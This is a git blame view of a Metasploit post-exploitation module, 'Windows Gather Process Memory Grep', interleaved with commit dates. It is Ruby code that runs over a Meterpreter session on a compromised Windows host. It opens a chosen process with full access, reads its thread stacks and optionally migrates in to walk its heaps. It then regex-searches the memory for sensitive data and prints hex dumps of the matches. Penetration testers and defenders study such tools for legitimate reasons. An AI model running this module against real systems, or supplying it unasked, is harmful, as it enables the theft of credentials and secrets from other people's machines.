Files
metasploit-gs/modules/post/windows/gather/memory_grep.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

180 lines
5.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Process Memory Grep',
'Description' => %q{
2017-09-17 16:00:04 -04:00
This module allows for searching the memory space of a process for potentially
2021-09-10 12:53:39 +01:00
sensitive data. Please note: When the HEAP option is enabled, the module will have
to migrate to the process you are grepping, and will not migrate back automatically.
This means that if the user terminates the application after using this module, you
may lose your session.
},
'License' => MSF_LICENSE,
'Author' => ['bannedit'],
'Platform' => ['win'],
2021-10-06 13:43:31 +01:00
'SessionTypes' => ['meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_migrate
stdapi_railgun_api
stdapi_sys_process_attach
stdapi_sys_process_getpid
stdapi_sys_process_memory_query
stdapi_sys_process_memory_read
stdapi_sys_process_thread_open
]
}
}
2021-09-10 12:53:39 +01:00
)
)
register_options([
2021-09-10 12:53:39 +01:00
OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]),
OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', nil]),
OptBool.new('HEAP', [false, 'Grep from heap', false])
])
end
2013-08-30 16:28:54 -05:00
2013-07-05 01:25:08 -05:00
def get_data_from_stack(target_pid)
2021-09-10 12:53:39 +01:00
proc = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
stack = []
begin
2013-07-01 18:57:00 -05:00
threads = proc.thread.each_thread do |tid|
thread = proc.thread.open(tid)
esp = thread.query_regs['esp']
2013-07-01 18:57:00 -05:00
addr = proc.memory.query(esp)
vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']])
2013-07-01 18:57:00 -05:00
data = proc.memory.read(addr['BaseAddress'], addr['RegionSize'])
stack << {
2013-07-05 00:57:25 -05:00
'Address' => addr['BaseAddress'],
'Size' => addr['RegionSize'],
'Handle' => thread.handle,
'Data' => data
}
end
2023-02-08 13:47:34 +00:00
rescue StandardError
end
2013-08-30 16:28:54 -05:00
2013-07-05 00:57:25 -05:00
stack
end
2013-08-30 16:28:54 -05:00
2013-07-05 01:25:08 -05:00
def get_data_from_heap(target_pid)
2013-07-05 00:57:25 -05:00
# we need to be inside the process to walk the heap using railgun
heap = []
2013-07-05 01:25:08 -05:00
if target_pid != client.sys.process.getpid
2013-07-05 00:57:25 -05:00
print_status("Migrating into #{target_pid} to allow for dumping heap data")
session.core.migrate(target_pid)
end
2021-09-10 12:53:39 +01:00
proc = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
2013-08-30 16:28:54 -05:00
heap_cnt = session.railgun.kernel32.GetProcessHeaps(nil, nil)['return']
dheap = session.railgun.kernel32.GetProcessHeap()['return']
2023-02-08 13:47:34 +00:00
vprint_status('Default Process Heap: 0x%08x' % dheap)
ret = session.railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4)
pheaps = ret['ProcessHeaps']
2013-08-30 16:28:54 -05:00
idx = 0
handles = []
while idx != pheaps.length
2023-02-08 13:47:34 +00:00
vprint_status('Found Heap: 0x%08x' % pheaps[idx, 4].unpack('V')[0])
handles << pheaps[idx, 4].unpack('V')[0]
idx += 4
end
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_status('Walking the heap... this could take some time')
2013-07-01 18:57:00 -05:00
heap = []
handles.each do |handle|
lpentry = "\x00" * 42
ret = ''
2023-02-08 13:47:34 +00:00
while (ret = session.railgun.kernel32.HeapWalk(handle, lpentry)) && ret['return']
2013-07-01 18:57:00 -05:00
entry = ret['lpEntry'][0, 4].unpack('V')[0]
pointer = proc.memory.read(entry, 512)
size = ret['lpEntry'][4, 4].unpack('V')[0]
data = proc.memory.read(entry, (size == 0) ? 1048576 : size)
2023-02-08 13:47:34 +00:00
if !data.empty?
heap << {
'Address' => entry,
'Size' => data.length,
'Handle' => handle,
'Data' => data
}
end
2013-07-01 18:57:00 -05:00
lpentry = ret['lpEntry']
2023-02-08 13:47:34 +00:00
break if (ret['GetLastError'] == 259) || (size == 0)
end
end
2013-08-30 16:28:54 -05:00
2013-07-05 00:57:25 -05:00
heap
end
2013-08-30 16:28:54 -05:00
2013-07-05 00:57:25 -05:00
def dump_data(target_pid)
regex = datastore['REGEX']
2013-08-30 16:28:54 -05:00
2013-07-05 01:25:08 -05:00
get_data_from_stack(target_pid).each do |mem|
idx = mem['Data'].index(regex)
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
next if idx.nil?
print_status('Match found on stack!')
print_line
data = mem['Data'][idx, 512]
addr = mem['Address'] + idx
print_line(Rex::Text.to_hex_dump(data, 16, addr))
end
2013-08-30 16:28:54 -05:00
2013-07-05 00:57:25 -05:00
# Grep from heap is optional. If the 'HEAP' option isn't set,
# then let's bail.
return unless datastore['HEAP']
2013-08-30 16:28:54 -05:00
2013-07-05 01:25:08 -05:00
get_data_from_heap(target_pid).each do |mem|
idx = mem['Data'].index(regex)
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
next if idx.nil?
print_status('Match found on heap!')
print_line
data = mem['Data'][idx, 512]
addr = mem['Address'] + idx
print_line(Rex::Text.to_hex_dump(data, 16, addr))
end
end
2013-08-30 16:28:54 -05:00
2013-07-01 18:57:00 -05:00
def run
2023-02-08 13:47:34 +00:00
if session.type != 'meterpreter'
print_error 'Only meterpreter sessions are supported by this post module'
2013-07-01 18:57:00 -05:00
return
end
2013-08-30 16:28:54 -05:00
2013-07-01 18:57:00 -05:00
print_status("Running module against #{sysinfo['Computer']}")
2013-08-30 16:28:54 -05:00
2013-07-01 18:57:00 -05:00
proc_name = datastore['PROCESS']
2013-08-30 16:28:54 -05:00
2013-07-01 18:57:00 -05:00
# Collect PIDs
pids = []
client.sys.process.processes.each do |p|
pids << p['pid'] if p['name'] == proc_name
end
2013-08-30 16:28:54 -05:00
2013-07-01 18:57:00 -05:00
if pids.empty?
print_error("No PID found for #{proc_name}")
return
end
2013-08-30 16:28:54 -05:00
2013-07-01 18:57:00 -05:00
print_status("PIDs found for #{proc_name}: #{pids * ', '}")
2013-08-30 16:28:54 -05:00
2013-07-01 18:57:00 -05:00
pids.each do |pid|
2023-02-08 13:47:34 +00:00
print_status("Searching in process: #{pid}...")
2013-07-01 18:57:00 -05:00
dump_data(pid)
print_line
end
end
end